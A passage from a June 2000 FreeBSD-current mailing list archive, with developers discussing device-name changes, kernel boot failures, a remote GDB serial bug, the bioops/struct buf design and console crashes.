-2 src/sys/kern/subr_disk.c 1.17 +5 -1 src/sys/sys/disk.h ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 18:16:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 73DA237B583 for ; Thu, 15 Jun 2000 18:16:11 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id KAA02258; Fri, 16 Jun 2000 10:43:30 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <23781.961101293@critter.freebsd.dk> Date: Fri, 16 Jun 2000 10:43:30 +0930 (CST) From: "Daniel O'Connor" To: Poul-Henning Kamp Subject: RE: WARNING "/dev/wd" compat hack removed... Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 15-Jun-00 Poul-Henning Kamp wrote: > Remove the "wd" compatibility name from the "ad" driver. > > WARNING: If you have not updated to use /dev/wd* in your /etc/fstab You mean 'If you have not updated to use /dev/ad* in your /etc/fstab...' right? --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 19:16:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from volatile.chemicals.tacorp.com (ci391991-a.grnvle1.sc.home.com [24.9.31.75]) by hub.freebsd.org (Postfix) with ESMTP id 5FA9037B62D for ; Thu, 15 Jun 2000 19:16:28 -0700 (PDT) (envelope-from morganw@chemicals.tacorp.com) Received: (from morganw@localhost) by volatile.chemicals.tacorp.com (8.9.3/8.9.3) id WAA02125; Thu, 15 Jun 2000 22:16:26 -0400 (EDT) (envelope-from morganw) Date: Thu, 15 Jun 2000 22:16:26 -0400 (EDT) From: Wes Morgan To: freebsd-current@freebsd.org Subject: -current kernel broken? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As of about 7pm EDT I can't boot a -current kernel. I _can_ boot a kernel from the 13th I snagged from a snapshot kernel disk, and I can boot the snapshot from the 15th (but since userconfig does not work the lnc device spams so many error messages the system never reaches a prompt). Already did the make clean depend all install for /sys/boot/i386 and that was no help. The kernel just freezes _right_ after trying to boot... I'm not sure how far its getting, I'll have to play around with a debug kernel and see what I can get from it (if anything). Cheers, WM -- _ __ ___ ____ ___ ___ ___ Wesley N Morgan _ __ ___ | _ ) __| \ wesleymorgan@home.com _ __ | _ \._ \ |) | FreeBSD: The Power To Serve _ |___/___/___/ Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 19:33:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id EDD2037B7E8 for ; Thu, 15 Jun 2000 19:33:09 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 14227 invoked from network); 16 Jun 2000 02:33:07 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 16 Jun 2000 02:33:07 -0000 Message-ID: <394991E2.66E56608@cvzoom.net> Date: Thu, 15 Jun 2000 22:33:06 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Wes Morgan Cc: freebsd-current@freebsd.org Subject: Re: -current kernel broken? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wes Morgan wrote: > > As of about 7pm EDT I can't boot a -current kernel. I _can_ boot a kernel > from the 13th I snagged from a snapshot kernel disk, and I can boot the > snapshot from the 15th (but since userconfig does not work the lnc device > spams so many error messages the system never reaches a prompt). > > Already did the make clean depend all install for /sys/boot/i386 and that > was no help. The kernel just freezes _right_ after trying to boot... I'm > not sure how far its getting, I'll have to play around with a debug kernel > and see what I can get from it (if anything). I can verify this. With sources cvsup'd this morning and later, I get a fatal trap 12 (page fault supervisor mode) the very instant the kernel boots. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 19:35:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (nat193.152.mpoweredpc.net [142.177.193.152]) by hub.freebsd.org (Postfix) with ESMTP id 97D8437BB8A for ; Thu, 15 Jun 2000 19:35:13 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.3) with ESMTP id XAA16228; Thu, 15 Jun 2000 23:32:26 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Thu, 15 Jun 2000 23:32:26 -0300 (ADT) From: The Hermit Hacker To: Wes Morgan Cc: freebsd-current@FreeBSD.ORG Subject: Re: -current kernel broken? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Jun 2000, Wes Morgan wrote: > As of about 7pm EDT I can't boot a -current kernel. I _can_ boot a kernel > from the 13th I snagged from a snapshot kernel disk, and I can boot the > snapshot from the 15th (but since userconfig does not work the lnc device > spams so many error messages the system never reaches a prompt). > > Already did the make clean depend all install for /sys/boot/i386 and that > was no help. The kernel just freezes _right_ after trying to boot... I'm > not sure how far its getting, I'll have to play around with a debug kernel > and see what I can get from it (if anything). okay, I see the same thing, but *believe* that this has to do with the whole thread on ttyv0 that just passed through here, so am just waiting and watching the commit logs for something that "looks" appropriate ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 22:32:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 19A2637BBB4 for ; Thu, 15 Jun 2000 22:32:12 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 12141 invoked from network); 16 Jun 2000 05:32:11 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 16 Jun 2000 05:32:11 -0000 Message-ID: <3949BBDA.24823CCE@cvzoom.net> Date: Fri, 16 Jun 2000 01:32:11 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: The Hermit Hacker , current@freebsd.org Subject: Re: -current kernel broken? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The Hermit Hacker wrote: > > On Thu, 15 Jun 2000, Wes Morgan wrote: > > > As of about 7pm EDT I can't boot a -current kernel. I _can_ boot a kernel > > from the 13th I snagged from a snapshot kernel disk, and I can boot the > > snapshot from the 15th (but since userconfig does not work the lnc device > > spams so many error messages the system never reaches a prompt). > > > > Already did the make clean depend all install for /sys/boot/i386 and that > > was no help. The kernel just freezes _right_ after trying to boot... I'm > > not sure how far its getting, I'll have to play around with a debug kernel > > and see what I can get from it (if anything). > > okay, I see the same thing, but *believe* that this has to do with the > whole thread on ttyv0 that just passed through here, so am just waiting > and watching the commit logs for something that "looks" appropriate ... Well, I don't think that ttyv0 would be the problem in this case. See, the machine just hangs with a fatal trap immediately after the boot loader attempts to boot the kernel. The whole thread with ttyv0 seems to be an issue only when /etc/rc.conf is read. So, basically the page fault is occuring way at the beginning of the boot process long before the console driver is even loaded. 8-( - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 23:30:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (mg131-243.ricochet.net [204.179.131.243]) by hub.freebsd.org (Postfix) with ESMTP id 3DABF37BE17 for ; Thu, 15 Jun 2000 23:30:08 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id OAA00351; Wed, 14 Jun 2000 14:52:36 -0700 (PDT) (envelope-from grog) Date: Wed, 14 Jun 2000 14:52:36 -0700 From: Greg Lehey To: "Justin T. Gibbs" Cc: current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... Message-ID: <20000614145236.A285@sydney.worldwide.lemis.com> References: <20000614111059.B7525@sydney.worldwide.lemis.com> <200006141827.MAA53158@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006141827.MAA53158@pluto.plutotech.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 14 June 2000 at 12:27:27 -0600, Justin T. Gibbs wrote: >> On Wednesday, 14 June 2000 at 11:05:41 -0600, Justin T. Gibbs wrote: >>> I still can't get remote GDB to work correctly in a 5.0-current >>> environment at speeds greater than 9600bps. Is anyone else >>> experiencing similar results? I thought that grog had fixed this... >> >> So did I. Are you just getting hangs? What kind of UART? > > On which side of the connection? Debug machine. > I'm using my Thinkpad 770X as the GDB host and it says: > > sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 > sio0: type 16550A > > On the machine I'm trying to debug, a Dell Precision 410, I have: > sio1 at port 0x2f8-0x2ff irq 3 on isa0 > sio1: type 16550A > > I suppose I could rip open the case to try and find what part they > put on the motherboard for the 16550 support, but I'm had similar > results with other machines. Hmm. > In GDB, you see some message about "malformed messages" and you > can't seem to do anything. The other odd part is that speeds up to > even 115200 work just fine up until the point that interrupt > services are enabled. Then your hosed. That's pretty much the symptoms I had been seeing until the fix. I don't understand why you're still seeing them; they were gone in a flash on my system. Are you sure you're using this revision? /* $FreeBSD: src/sys/i386/i386/i386-gdbstub.c,v 1.15 2000/05/18 02:29:23 grog Exp $ */ If so, try changing the two spltty()s to splhigh() and see if that makes the problem go away. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 23:30:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (mg131-243.ricochet.net [204.179.131.243]) by hub.freebsd.org (Postfix) with ESMTP id E31C837BE13 for ; Thu, 15 Jun 2000 23:30:14 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id LAA07795; Wed, 14 Jun 2000 11:11:00 -0700 (PDT) (envelope-from grog) Date: Wed, 14 Jun 2000 11:11:00 -0700 From: Greg Lehey To: "Justin T. Gibbs" Cc: current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... Message-ID: <20000614111059.B7525@sydney.worldwide.lemis.com> References: <200006141705.LAA51258@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006141705.LAA51258@pluto.plutotech.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 14 June 2000 at 11:05:41 -0600, Justin T. Gibbs wrote: > I still can't get remote GDB to work correctly in a 5.0-current > environment at speeds greater than 9600bps. Is anyone else > experiencing similar results? I thought that grog had fixed this... So did I. Are you just getting hangs? What kind of UART? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 0:49:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id D378337BDBE for ; Fri, 16 Jun 2000 00:49:37 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id JAA26308; Fri, 16 Jun 2000 09:49:22 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: "Daniel O'Connor" Cc: current@freebsd.org Subject: Re: WARNING "/dev/wd" compat hack removed... In-reply-to: Your message of "Fri, 16 Jun 2000 10:43:30 +0930." Date: Fri, 16 Jun 2000 09:49:22 +0200 Message-ID: <26306.961141762@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , "Daniel O'Connor" write s: > >On 15-Jun-00 Poul-Henning Kamp wrote: >> Remove the "wd" compatibility name from the "ad" driver. >> >> WARNING: If you have not updated to use /dev/wd* in your /etc/fstab > >You mean 'If you have not updated to use /dev/ad* in your /etc/fstab...' right? Yes, I got that reversed [sigh...] -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 4: 0:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id E1F1C37BAB2 for ; Fri, 16 Jun 2000 04:00:44 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-194-8-205-1.netcologne.de [194.8.205.1]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id NAA17945; Fri, 16 Jun 2000 13:00:41 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id MAA02494; Fri, 16 Jun 2000 12:59:50 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Fri, 16 Jun 2000 12:59:50 +0200 (CEST) Message-Id: <200006161059.MAA02494@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: imp@village.org Cc: current@FreeBSD.ORG In-reply-to: (message from Kenneth Wayne Culver on Thu, 15 Jun 2000 14:07:57 -0400 (EDT)) Subject: Re: fatal trap 12 after lastest kernel build Reply-To: van.woerkom@netcologne.de References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > did you follow Peter Wemm's instructions on the new config changes? Muchos thanks to Warner Losh for his src/UPDATE service. It really saved my butt a couple of times. :) Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 5:27:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id 68AFF37B68E; Fri, 16 Jun 2000 05:27:29 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.10.1/8.10.1) id e5GCRSd01893; Fri, 16 Jun 2000 08:27:28 -0400 (EDT) Date: Fri, 16 Jun 2000 08:27:28 -0400 (EDT) From: Luoqi Chen Message-Id: <200006161227.e5GCRSd01893@lor.watermarkgroup.com> To: current@FreeBSD.ORG, phk@FreeBSD.ORG Subject: Re: HEADSUP: bioops patch. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Background: > > The bioops operation vector is a list of OO-like operations which can > be performed on struct buf. They are used by the softupdates code > to handle dependencies. > > Ideally struct buf should have had a real OO like operations vector > like vnodes have it, and struct bioops is the first step towards that. > struct buf will eventually become merely an iocmd structure, so why do we want to complicate things here? > One of the reasons we should have OO-like struct buf, is that as > long as bwrite(bp) "knows" that the buffer is backed by a disk > device, we cannot use the UFS layer on top of a storage manager > which isn't based on disk-devices: When UFS modifies a directory > inode, it will call bwrite(bp) on the buffer with the data. This > would not work if the backing were based on malloc(9) or anonymous > swap-backed VM objects for instance. > We already have an OO method for bwrite: VOP_BWRITE(), the problem is most of the code are still calling bwrite() directly. Will it solve your problem if we change every bwrite() into a VOP_BWRITE()? -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 5:28:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (nat193.152.mpoweredpc.net [142.177.193.152]) by hub.freebsd.org (Postfix) with ESMTP id CAFF837BE2E for ; Fri, 16 Jun 2000 05:28:47 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.3) with ESMTP id JAA24129; Fri, 16 Jun 2000 09:27:36 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Fri, 16 Jun 2000 09:27:36 -0300 (ADT) From: The Hermit Hacker To: Donn Miller Cc: current@freebsd.org Subject: Re: -current kernel broken? In-Reply-To: <3949BBDA.24823CCE@cvzoom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG oops, sorry ... I wasn't even getting a page fault, it was just hanging. Hrmmm, maybe I'll try a newer kernel and see if it still exhibits the same problem ... my luck, I got my sources part way through someone's update :) On Fri, 16 Jun 2000, Donn Miller wrote: > The Hermit Hacker wrote: > > > > On Thu, 15 Jun 2000, Wes Morgan wrote: > > > > > As of about 7pm EDT I can't boot a -current kernel. I _can_ boot a kernel > > > from the 13th I snagged from a snapshot kernel disk, and I can boot the > > > snapshot from the 15th (but since userconfig does not work the lnc device > > > spams so many error messages the system never reaches a prompt). > > > > > > Already did the make clean depend all install for /sys/boot/i386 and that > > > was no help. The kernel just freezes _right_ after trying to boot... I'm > > > not sure how far its getting, I'll have to play around with a debug kernel > > > and see what I can get from it (if anything). > > > > okay, I see the same thing, but *believe* that this has to do with the > > whole thread on ttyv0 that just passed through here, so am just waiting > > and watching the commit logs for something that "looks" appropriate ... > > Well, I don't think that ttyv0 would be the problem in this case. > See, the machine just hangs with a fatal trap immediately after the > boot loader attempts to boot the kernel. The whole thread with ttyv0 > seems to be an issue only when /etc/rc.conf is read. So, basically > the page fault is occuring way at the beginning of the boot process > long before the console driver is even loaded. 8-( > > - Donn > Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 5:34: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 4836E37B68E for ; Fri, 16 Jun 2000 05:34:01 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id OAA27869; Fri, 16 Jun 2000 14:33:46 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Luoqi Chen Cc: current@FreeBSD.ORG Subject: Re: HEADSUP: bioops patch. In-reply-to: Your message of "Fri, 16 Jun 2000 08:27:28 EDT." <200006161227.e5GCRSd01893@lor.watermarkgroup.com> Date: Fri, 16 Jun 2000 14:33:46 +0200 Message-ID: <27867.961158826@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006161227.e5GCRSd01893@lor.watermarkgroup.com>, Luoqi Chen write s: >> Background: >> Ideally struct buf should have had a real OO like operations vector >> like vnodes have it, and struct bioops is the first step towards that. >> >struct buf will eventually become merely an iocmd structure, so why do >we want to complicate things here? No, struct buf will remain the cache-handle. the iocmd is called struct bio. >We already have an OO method for bwrite: VOP_BWRITE(), the problem >is most of the code are still calling bwrite() directly. Will it >solve your problem if we change every bwrite() into a VOP_BWRITE()? Well, I'm not sure it is correct to go the detour around Vnodes, if we do, we need to add VOP_BAWRITE, VOP_BDWRITE and all those other operations as well. But what vnode would you use for a buffer associated with a freeblock bitmap ? -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 5:55:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.ocsny.com (apollo.ocsny.com [204.107.76.2]) by hub.freebsd.org (Postfix) with ESMTP id 120AF37BE87 for ; Fri, 16 Jun 2000 05:55:45 -0700 (PDT) (envelope-from mikel@ocsny.com) Received: from ocsny.com (ppp-002.ocsny.com [204.107.76.29]) by apollo.ocsny.com (8.9.2/8.9.3) with ESMTP id IAA18937 for ; Fri, 16 Jun 2000 08:56:37 -0400 (EDT) Message-ID: <394A24D8.B989BC4C@ocsny.com> Date: Fri, 16 Jun 2000 09:00:08 -0400 From: Mikel Organization: Optimized Computer Solutions, Inc. X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en,it MIME-Version: 1.0 To: current@freebsd.org Subject: question regarding current Content-Type: multipart/mixed; boundary="------------2405EDB2EB01E10F38488B4D" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------2405EDB2EB01E10F38488B4D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I just install snap 61200 for 5 on my laptop and so far things are smooth...this was the easiest time I've have configuring xe (xircom nics) so far...anyway since I am new to the world of current I have a few questions... I am just curious maybe there's an webpage that describes the direction of current (you know a mission statement , sort of road map thingie)? Or is that a secret type thing we don't know until it's out? If there isn't a page is one wanted? On that note is the scaled down /etc the direction we are going in, or is it just the way current is arrange and it will grow to be more like 3.0 & 4.0? Seems the install CD I made missed compat2.0 but the install seems to have gone ok...should I worry about it being missing?, is installing it after the fact a problem if it's required? -- Cheers, Mikel +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ | Optimized Computer Solutions, Inc http://www.ocsny.com | 39 W14th Street, Suite 203 212 727 2238 x132 | New York, NY 10011 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ --------------2405EDB2EB01E10F38488B4D Content-Type: text/x-vcard; charset=us-ascii; name="mikel.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Mikel Content-Disposition: attachment; filename="mikel.vcf" begin:vcard n:King;Mikel tel;fax:2124638402 tel;home:http://www.upan.org tel;work:2127272100 x-mozilla-html:TRUE org:Optimized Computer Solutions version:2.1 email;internet:mikel@ocsny.com title:Director of Network Operations & Technology adr;quoted-printable:;;39 W14th St.=0D=0ASte 203;New York;NY;10011;US note;quoted-printable:fBSD, PHP, MySql and OCS Rule!!!=0D=0A=0D=0AGoal is to be MS free by the end of 2k. x-mozilla-cpt:;7312 fn:Mikel King end:vcard --------------2405EDB2EB01E10F38488B4D-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 6:11: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by hub.freebsd.org (Postfix) with ESMTP id 6854C37BECB; Fri, 16 Jun 2000 06:10:08 -0700 (PDT) (envelope-from yokota@zodiac.mech.utsunomiya-u.ac.jp) Received: from zodiac.mech.utsunomiya-u.ac.jp (IDENT:IyZwC1YBHqJHjgrvIGgfR9dmbdUs9P9Z@zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by outmail.utsunomiya-u.ac.jp (8.9.3/3.7Wpl2) with ESMTP id WAA20459; Fri, 16 Jun 2000 22:09:56 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (IDENT:fsfgGhhO3/0WapQyBxJ9m+9nTF2Y5lzt@zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.9.3+3.2W/3.7W/zodiac-May2000) with ESMTP id WAA09032; Fri, 16 Jun 2000 22:16:45 +0900 (JST) Message-Id: <200006161316.WAA09032@zodiac.mech.utsunomiya-u.ac.jp> To: Maxime Henrion Cc: freebsd-stable@freebsd.org, freebsd-current@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: Crashs with vidcontrol... In-reply-to: Your message of "Fri, 16 Jun 2000 11:39:02 +0200." <3949F5B6.FCE19D70@cybercable.fr> References: <3949F5B6.FCE19D70@cybercable.fr> Date: Fri, 16 Jun 2000 22:16:44 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I already sent a mail about this problem a while ago, but it has not >been solved yet. I mail again because I've made a mistake describing the >problem. So, the problem was that when i type "vidcontrol VESA_800x600", >it makes my box crash. I first thought that this was making my box >reboot, but it is a crash because the system is waiting for me to press >a key before rebooting. As it is a problem dealing with graphic modes, i >unfortunately can't see anything that is surely written.... > For those who want more details on my hardware and software >configuration, please look to the "vidcontrol VESA_800x600 makes my box >reboot" mails. You will found information on my hardware configuration >and output of dmesg, vidcontrol -i adapter, vidcontrol -i mode and my >kernel configuration file. > If i can do anything to help and fix this problem, please let me >know. I do intend to fix console problems in both -STABLE and -CURRENT. But, I am on business trip this weekend and will not be able to work on the problems before Sunday evening ;-< Kazu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 6:12: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by hub.freebsd.org (Postfix) with ESMTP id 51C9337BF48; Fri, 16 Jun 2000 06:11:50 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 132vuP-000Lnx-0W; Fri, 16 Jun 2000 14:11:42 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id OAA86400; Fri, 16 Jun 2000 14:11:31 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id MAA24036; Fri, 16 Jun 2000 12:40:20 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Fri, 16 Jun 2000 12:40:20 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Poul-Henning Kamp Cc: current@freebsd.org Subject: Re: HEADSUP: bioops patch. In-Reply-To: <18317.961014572@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What about using uppercase names for buf_complete -> BUF_COMPLETE and friends to make it apparent that an indirect call is being made and that the function might not be supported on that struct buf. Much like newbus, kobj, and vnode ops. Nick On Wed, 14 Jun 2000, Poul-Henning Kamp wrote: > > This patch virtualizes & untangles the bioops operations vector. > > Background: > > The bioops operation vector is a list of OO-like operations which can > be performed on struct buf. They are used by the softupdates code > to handle dependencies. > > Ideally struct buf should have had a real OO like operations vector > like vnodes have it, and struct bioops is the first step towards that. > > One of the reasons we should have OO-like struct buf, is that as > long as bwrite(bp) "knows" that the buffer is backed by a disk > device, we cannot use the UFS layer on top of a storage manager > which isn't based on disk-devices: When 